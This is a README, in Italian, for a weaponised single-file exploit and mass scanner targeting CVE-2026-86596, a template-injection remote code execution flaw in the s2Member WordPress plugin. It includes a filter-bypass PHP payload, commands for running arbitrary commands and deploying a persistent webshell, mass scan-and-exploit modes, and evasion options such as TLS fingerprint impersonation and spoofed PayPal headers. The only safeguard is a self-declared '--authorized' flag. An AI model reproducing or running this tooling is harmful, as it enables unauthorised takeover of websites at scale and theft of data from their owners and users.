
Scanner di exploit e mass scanning in un singolo file per CVE-2026-86596, un RCE da template injection in s2Member tramite il parametro item_name dell'IPN di PayPal, con varianti di bypass e distribuzione di webshell.
CVSS 9.8 | CVE-2026-86596 | Patch: 261001+
Exploit weaponizzato e scanner in un singolo file per l'injection di template in s2Member tramite il parametro IPN item_name.
$paypal = strip_php_tags_deep($paypal); // Rimuove solo il letterale '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg)); // Rimuove %%x%% -> ricompone <?php
Payload: <%%x%%?php system('id'); ?> → aggira strip_php_tags_deep, si ricompone in un valido <?php dopo la pulizia dei placeholder.
# RCE su singolo target
python3 poc.py target.com --cmd "id" --authorized
# Webshell persistente (accesso: /shell.php?pass=cmd)
python3 poc.py target.com --cmd "shell:mysecret" --authorized --deploy-shell
# Matrice di bypass completa (tutte le varianti)
python3 poc.py target.com --cmd "id" --authorized --full-bypass
# Scansione di massa con recon
python3 poc.py targets.txt --scan --threads 30 --recon
# Scansione + exploit
python3 poc.py targets.txt --scan --exploit --cmd "id" --authorized --output results.json
| Flag | Descrizione |
|---|---|
--cmd "id" | Comando da eseguire (o shell:pass per la webshell) |
--scan | Modalità scansione di massa (legge i target da file) |
--exploit | Tenta l'exploit durante la scansione |
--authorized | OBBLIGATORIO per qualsiasi azione di exploit |
--recon | Ricognizione completa prima dell'exploit |
--item-number | item_number specifico (default: auto-discovery) |
--proxy-verification | Chiave s2member_paypal_proxy_verification |
--write-test | Scrive un file di test invece di eseguire il comando |
--deploy-shell | Distribuisce una webshell persistente |
--shell-path | Nome file della webshell (default: shell.php) |
--full-bypass | Prova TUTTE le varianti di bypass (lento) |
--no-evasion | Disabilita tutti i tentativi di bypass |
--threads N | Thread di scansione (default: 15) |
--output file | Output JSON/CSV |
--http-proxy | Proxy HTTP(S) |
--impersonate | Fingerprint TLS: chrome/firefox/safari/edge |
--insecure | Disabilita la verifica TLS |
--verbose | Output dettagliato |
| Livello | Varianti |
|---|---|
| Payload | 10: raw, urlenc, b64, concat, var-func, assert, preg_replace/e, create_function, shortcode, shortcode+b64 |
| Scrittura | 4: file_put_contents, fopen/fwrite, shell_exec, b64_decode |
| Shell | 5: eval, system, assert, b64_eval, shortcode |
| Richiesta | 5: form, multipart, dup, multipart-dup, JSON |
| Header | 7: spoof XFF, referer/origin PayPal, header IPN, cluster |
| TLS | 4: chrome, firefox, safari, edge (curl_cffi) |
item_number valido (ID di post/pagina protetta)do_shortcode() / [s2If php=...]/root/labv/
├── poc.py # Exploit weaponizzato singolo + scanner (384 righe)
├── README.md # Questo file
└── targets.txt # Lista di target di esempio
SOLO PER TEST AUTORIZZATI. Il flag --authorized conferma il permesso scritto.